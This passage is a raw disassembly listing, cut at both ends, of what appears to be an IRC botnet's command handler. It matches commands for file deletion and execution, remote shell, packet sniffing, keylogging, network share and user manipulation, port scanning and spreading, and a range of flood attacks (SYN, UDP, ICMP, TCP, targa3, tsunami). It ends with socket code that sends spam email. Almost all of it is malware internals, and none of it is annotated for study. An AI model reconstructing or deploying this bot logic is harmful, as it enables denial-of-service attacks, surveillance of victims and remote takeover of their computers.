eax pop ecx jz loc_409233 push [ebp+arg_8] ; Str2 push offset aKill ; "kill" call _strcmp pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] ; Str2 push offset aKi ; "ki" call _strcmp pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] ; Str2 push offset aDelete ; "delete" call _strcmp pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] ; Str2 push offset aDel ; "del" call _strcmp pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] ; Str2 push offset aGet_1 ; "get" call _strcmp pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] ; Str2 push offset aGt ; "gt" call _strcmp pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] ; Str2 push offset aList ; "list" call _strcmp pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] ; Str2 push offset aLi ; "li" call _strcmp pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] ; Str2 push offset aVisit ; "visit" call _strcmp pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] ; Str2 push offset aV ; "v" call _strcmp pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] ; Str2 push offset aMirccmd ; "mirccmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] ; Str2 push offset aMirc ; "mirc" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] ; Str2 push offset aCmd ; "cmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] ; Str2 push offset aCm ; "cm" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] ; Str2 push offset aReadfile ; "readfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] ; Str2 push offset aRf ; "rf" call _strcmp pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] ; Str2 push offset aPsniff ; "psniff" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405C9F push edi ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405C67 push 20h call sub_40B602 test eax, eax pop ecx jle short loc_405B91 push offset dword_42B68C jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405B91: ; CODE XREF: sub_401ACD+40B8j mov eax, [ebp+arg_4] mov esi, [ebp+esi+Format] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD3 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405BD3 mov esi, [ebp+Format] loc_405BD3: ; CODE XREF: sub_401ACD+40E8j ; sub_401ACD+40FEj push esi ; Format lea eax, [ebp+var_F58] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_42B65C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 20h ; int push eax ; Source call sub_40B3BA add esp, 14h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset sub_412B61 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405C56 loc_405C40: ; CODE XREF: sub_401ACD+4187j cmp [ebp+var_ECC], ebx jnz loc_4081AD push 32h call ds:dword_427080 ; Sleep jmp short loc_405C40 ; --------------------------------------------------------------------------- loc_405C56: ; CODE XREF: sub_401ACD+4171j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42B620 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C67: ; CODE XREF: sub_401ACD+40A8j push edi ; Str2 push offset Str2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 20h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405C95 push eax push offset dword_42B5E4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C95: ; CODE XREF: sub_401ACD+41BBj push offset dword_42B5B8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405C9F: ; CODE XREF: sub_401ACD+4093j push [ebp+arg_8] ; Str2 push offset aSniffer ; "sniffer" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405DEF push edi ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405DB7 push 21h call sub_40B602 test eax, eax pop ecx jle short loc_405CE1 push offset unk_42B590 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405CE1: ; CODE XREF: sub_401ACD+4208j mov eax, [ebp+arg_4] mov esi, [ebp+esi+Format] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D23 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405D23 mov esi, [ebp+Format] loc_405D23: ; CODE XREF: sub_401ACD+4238j ; sub_401ACD+424Ej push esi ; Format lea eax, [ebp+var_EC4] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_42B564 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 21h ; int push eax ; Source call sub_40B3BA add esp, 14h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131EC push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405DA6 loc_405D90: ; CODE XREF: sub_401ACD+42D7j cmp [ebp+var_E38], ebx jnz loc_4081AD push 32h call ds:dword_427080 ; Sleep jmp short loc_405D90 ; --------------------------------------------------------------------------- loc_405DA6: ; CODE XREF: sub_401ACD+42C1j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42B528 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DB7: ; CODE XREF: sub_401ACD+41F8j push edi ; Str2 push offset Str2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 21h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405DE5 push eax push offset unk_42B4EC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DE5: ; CODE XREF: sub_401ACD+430Bj push offset unk_42B4C0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405DEF: ; CODE XREF: sub_401ACD+41E3j push [ebp+arg_8] ; Str2 push offset aIdent ; "ident" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405EC2 push edi ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405E8A push 2 call sub_40B602 test eax, eax pop ecx jle short loc_405E2D push offset dword_42B498 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405E2D: ; CODE XREF: sub_401ACD+4354j lea eax, [ebp+Dst] push offset asc_42B46C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 2 ; int push eax ; Source call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_410BFD push ebx push ebx call ds:dword_427084 ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz loc_4081AD call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42B438 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405E8A: ; CODE XREF: sub_401ACD+4348j push edi ; Str2 push offset Str2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 2 call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405EB8 push eax push offset dword_42B400 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405EB8: ; CODE XREF: sub_401ACD+43DEj push offset dword_42B3E0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405EC2: ; CODE XREF: sub_401ACD+4333j push [ebp+arg_8] ; Str2 push offset aKeyloger ; "keyloger" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] ; Str2 push offset aKeylog ; "keylog" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] ; Str2 push offset aStop ; "stop" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] ; Str2 push offset aStop ; "stop" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] ; Str2 push offset aNet ; "net" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40616D cmp dword_4CBAA4, ebx jz short loc_405F4F cmp dword_4CBACC, ebx jz short loc_405F4F push offset unk_42B388 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405F4F: ; CODE XREF: sub_401ACD+446Ej ; sub_401ACD+4476j cmp [ebp+var_C], ebx jz loc_406BFE mov eax, [ebp+esi+Format] mov [ebp+Src], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F77 push eax ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx mov [ebp+Src], eax pop ecx loc_405F77: ; CODE XREF: sub_401ACD+449Aj push edi ; Str2 push offset aStart ; "start" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405FC3 cmp [ebp+arg_18], ebx jz short loc_405F97 push [ebp+Src] push 3 jmp loc_406021 ; --------------------------------------------------------------------------- loc_405F97: ; CODE XREF: sub_401ACD+44BEj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_418EA8 add esp, 0Ch test eax, eax jz short loc_405FB9 push offset unk_42B35C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FB9: ; CODE XREF: sub_401ACD+44E0j push offset unk_42B33C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FC3: ; CODE XREF: sub_401ACD+44B9j push edi ; Str2 push offset aStop ; "stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405FDB push [ebp+Src] push 4 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FDB: ; CODE XREF: sub_401ACD+4505j push edi ; Str2 push offset aPause ; "pause" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405FF3 push [ebp+Src] push 5 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FF3: ; CODE XREF: sub_401ACD+451Dj push edi ; Str2 push offset aContinue ; "continue" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40600B push [ebp+Src] push 6 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_40600B: ; CODE XREF: sub_401ACD+4535j push edi ; Str2 push offset aDelete ; "delete" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406033 push [ebp+Src] push 1 loc_406021: ; CODE XREF: sub_401ACD+44C5j ; sub_401ACD+450Cj ... call sub_418C0E pop ecx pop ecx loc_406028: ; CODE XREF: sub_401ACD+459Fj ; sub_401ACD+4628j ... push eax push offset aS_6 ; "%s" jmp loc_406BEF ; --------------------------------------------------------------------------- loc_406033: ; CODE XREF: sub_401ACD+454Dj push edi ; Str2 push offset aShare ; "share" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40609B cmp [ebp+arg_18], ebx jz short loc_40606E cmp [ebp+var_8FC], bl jz short loc_406059 push ebx push [ebp+arg_18] push 1 jmp short loc_406064 ; --------------------------------------------------------------------------- loc_406059: ; CODE XREF: sub_401ACD+4582j push [ebp+esi+Str2] ; int push [ebp+arg_18] ; Str push ebx ; int loc_406064: ; CODE XREF: sub_401ACD+458Aj call sub_418FE5 add esp, 0Ch jmp short loc_406028 ; --------------------------------------------------------------------------- loc_40606E: ; CODE XREF: sub_401ACD+457Aj push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_4191DB add esp, 10h test eax, eax jz short loc_406091 push offset unk_42B2FC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406091: ; CODE XREF: sub_401ACD+45B8j push offset unk_42B2DC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40609B: ; CODE XREF: sub_401ACD+4575j push edi ; Str2 push offset aUser_0 ; "user" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406127 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4060FA cmp [ebp+var_8FC], bl jz short loc_4060CD push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060CD: ; CODE XREF: sub_401ACD+45ECj push [ebp+var_4] ; int mov esi, [ebp+esi+Str2] cmp esi, ebx push [ebp+Format] ; Str push [ebp+arg_4] ; int jz short loc_4060E9 push esi push eax push ebx jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_401ACD+4615j push ebx ; int push eax ; int push 2 ; int loc_4060ED: ; CODE XREF: sub_401ACD+45FEj ; sub_401ACD+461Aj call sub_4192FC add esp, 18h jmp loc_406028 ; --------------------------------------------------------------------------- loc_4060FA: ; CODE XREF: sub_401ACD+45E4j push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41982C add esp, 10h test eax, eax jz short loc_40611D push offset unk_42B2BC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40611D: ; CODE XREF: sub_401ACD+4644j push offset unk_42B29C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406127: ; CODE XREF: sub_401ACD+45DDj push edi ; Str2 push offset aSend_0 ; "send" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406163 cmp [ebp+arg_18], ebx jz short loc_406159 push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push [ebp+Src] ; Source call sub_419AE0 add esp, 10h jmp loc_406028 ; --------------------------------------------------------------------------- loc_406159: ; CODE XREF: sub_401ACD+466Ej push offset unk_42B270 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406163: ; CODE XREF: sub_401ACD+4669j push offset unk_42B254 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40616D: ; CODE XREF: sub_401ACD+4462j push [ebp+arg_8] ; Str2 push offset aGethost ; "gethost" call _strcmp pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] ; Str2 push offset aGh ; "gh" call _strcmp pop ecx test eax, eax pop ecx jz loc_408C0D loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj ; sub_401ACD+3CC5j ... mov eax, [ebp+esi+Format] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F75 push [ebp+arg_8] ; Str2 push offset aKilllog ; "killlog" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] ; Str2 push offset aKl ; "kl" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] ; Str2 push offset aAddalias ; "addalias" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] ; Str2 push offset aAa ; "aa" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] ; Str2 push offset aPrivmsg_0 ; "privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] ; Str2 push offset aPm ; "pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] ; Str2 push offset aAction ; "action" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] ; Str2 push offset aA ; "a" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] ; Str2 push offset aCycle ; "cycle" call _strcmp pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] ; Str2 push offset aCy ; "cy" call _strcmp pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] ; Str2 push offset aMode ; "mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] ; Str2 push offset aM_0 ; "m" call _strcmp pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] ; Str2 push offset aC_raw ; "c_raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] ; Str2 push offset aC_r ; "c_r" call _strcmp pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] ; Str2 push offset aC_mode ; "c_mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] ; Str2 push offset aC_m ; "c_m" call _strcmp pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] ; Str2 push offset aC_nick ; "c_nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] ; Str2 push offset aC_n ; "c_n" call _strcmp pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] ; Str2 push offset aC_join ; "c_join" call _strcmp pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] ; Str2 push offset aC_j ; "c_j" call _strcmp pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] ; Str2 push offset aC_part ; "c_part" call _strcmp pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] ; Str2 push offset aC_p ; "c_p" call _strcmp pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] ; Str2 push offset aTarga3 ; "targa3" call _strcmp pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] ; Str2 push offset aT3 ; "t3" call _strcmp pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] ; Str2 push offset aTsunami ; "tsunami" call _strcmp pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] ; Str2 push offset aTsn ; "tsn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] ; Str2 push offset aRepeat ; "repeat" call _strcmp pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] ; Str2 push offset aRp ; "rp" call _strcmp pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] ; Str2 push offset aDelay ; "delay" call _strcmp pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] ; Str2 push offset aDe ; "de" call _strcmp pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] ; Str2 push offset aHadeth3 ; "HADETH3" call _strcmp pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] ; Str2 push offset aHadeth3 ; "HADETH3" call _strcmp pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] ; Str2 push offset aExecute ; "execute" call _strcmp pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] ; Str2 push offset aE ; "e" call _strcmp pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] ; Str2 push offset aFindfile ; "findfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] ; Str2 push offset aFf ; "ff" call _strcmp pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] ; Str2 push offset aRename ; "rename" call _strcmp pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] ; Str2 push offset aMv ; "mv" call _strcmp pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] ; Str2 push offset aIcmpflood ; "icmpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_408063 push [ebp+arg_8] ; Str2 push offset aIcmp ; "icmp" call _strcmp pop ecx test eax, eax pop ecx jz loc_408063 mov eax, [ebp+esi+Str2] cmp eax, ebx mov [ebp+Src], eax jz loc_401F75 push [ebp+arg_8] ; Str2 push offset aClone_0 ; "clone" call _strcmp pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] ; Str2 push offset aC ; "c" call _strcmp pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] ; Str2 push offset aDdos_syn ; "ddos.syn" call _strcmp pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] ; Str2 push offset aDdos_ack ; "ddos.ack" call _strcmp pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] ; Str2 push offset aDdos_random ; "ddos.random" call _strcmp pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] ; Str2 push offset aWisdom_udp ; "wisdom.udp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4066AE push 7Fh lea eax, [ebp+var_3280] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3200] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3180] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3100] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx ; int lea eax, [ebp+Dst] push 13h ; int push eax ; Source mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3BA add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset sub_41525A push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40669D loc_406687: ; CODE XREF: sub_401ACD+4BCEj cmp [ebp+var_3074], ebx jnz loc_403D46 push 32h call ds:dword_427080 ; Sleep jmp short loc_406687 ; --------------------------------------------------------------------------- loc_40669D: ; CODE XREF: sub_401ACD+4BB8j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42B0E0 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej push [ebp+arg_8] ; Str2 push offset aSynflood ; "synflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] ; Str2 push offset aSyn ; "syn" call _strcmp pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] ; Str2 push offset aSkysyn ; "skysyn" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4067DB push 7Fh lea eax, [ebp+var_36A8] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3628] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_35A8] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3528] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_34A0], eax lea eax, [ebp+Dst] push [ebp+arg_18] mov [ebp+var_36AC], esi push edi push offset asc_42B098 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 10h ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset sub_4141B2 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4067CA loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj cmp [ebp+var_349C], ebx jnz loc_407196 push 32h call ds:dword_427080 ; Sleep jmp short loc_4067B4 ; --------------------------------------------------------------------------- loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42B05C jmp loc_407187 ; --------------------------------------------------------------------------- loc_4067DB: ; CODE XREF: sub_401ACD+4C20j push [ebp+arg_8] ; Str2 push offset aPhatwonk ; "phatwonk" call _strcmp pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] ; Str2 push offset aWonk ; "wonk" call _strcmp pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] ; Str2 push offset aNazel3 ; "NAZEL3" call _strcmp pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] ; Str2 push offset aNazel3 ; "NAZEL3" call _strcmp pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] ; Str2 push offset aRedirect ; "redirect" call _strcmp pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] ; Str2 push offset aRd ; "rd" call _strcmp pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] ; Str2 push offset aScan_0 ; "scan" call _strcmp pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] ; Str2 push offset aSc ; "sc" call _strcmp pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] ; Str2 push offset aC_privmsg ; "c_privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] ; Str2 push offset aC_pm ; "c_pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] ; Str2 push offset aC_action ; "c_action" call _strcmp pop ecx test eax, eax pop ecx jz loc_407797 push [ebp+arg_8] ; Str2 push offset aC_a ; "c_a" call _strcmp pop ecx test eax, eax pop ecx jz loc_407797 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+Source], eax jz loc_401F75 push [ebp+arg_8] ; Str2 push offset aPortscan ; "portscan" call _strcmp pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] ; Str2 push offset aPsc ; "psc" call _strcmp pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] ; Str2 push offset aAdvscan ; "advscan" call _strcmp pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] ; Str2 push offset aAd ; "ad" call _strcmp pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] ; Str2 push offset aUdpflood ; "udpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] ; Str2 push offset aUdp ; "udp" call _strcmp pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] ; Str2 push offset aU ; "u" call _strcmp pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] ; Str2 push offset aNetsend ; "netsend" call _strcmp pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] ; Str2 push offset aNs ; "ns" call _strcmp pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] ; Str2 push offset aPingflood ; "pingflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] ; Str2 push offset aPing_0 ; "ping" call _strcmp pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] ; Str2 push offset aP ; "p" call _strcmp pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] ; Str2 push offset aVnchost ; "vnchost" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406A5A push edi call sub_41B52C pop ecx lea eax, [ebp+Dst] push edi push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_401F75 push ebx lea eax, [ebp+Dst] push [ebp+var_4] push eax jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406A5A: ; CODE XREF: sub_401ACD+4F56j push [ebp+arg_8] ; Str2 push offset aTcpflood ; "tcpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] ; Str2 push offset aTcp ; "tcp" call _strcmp pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] ; Str2 push offset aEmail ; "email" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406C36 lea eax, [ebp+var_46F0] push edi ; Source push eax ; Dest call _strcpy push [ebp+arg_18] ; Str call _atoi push [ebp+Src] ; Source mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax ; Dest call _strcpy push [ebp+Source] ; Source lea eax, [ebp+var_458C] push eax ; Dest call _strcpy push offset asc_42CDC0 ; " " push offset a_ ; "_" push [ebp+esi+var_7C] ; Src call sub_41843B push eax ; Source lea eax, [ebp+var_408C] push eax ; Dest call _strcpy add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4CB944 ; WSAStartup lea eax, [ebp+var_46F0] push eax call dword_4CBA58 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4CBA54 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB9D4 ; htons mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax ; Dest call _sprintf add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB97C ; connect mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC ; recv lea eax, [ebp+var_448C] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4CBA24 ; send push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC ; recv push esi call dword_4CBA6C ; closesocket call dword_4CB92C ; WSACleanup lea eax, [ebp+var_458C] push eax push offset 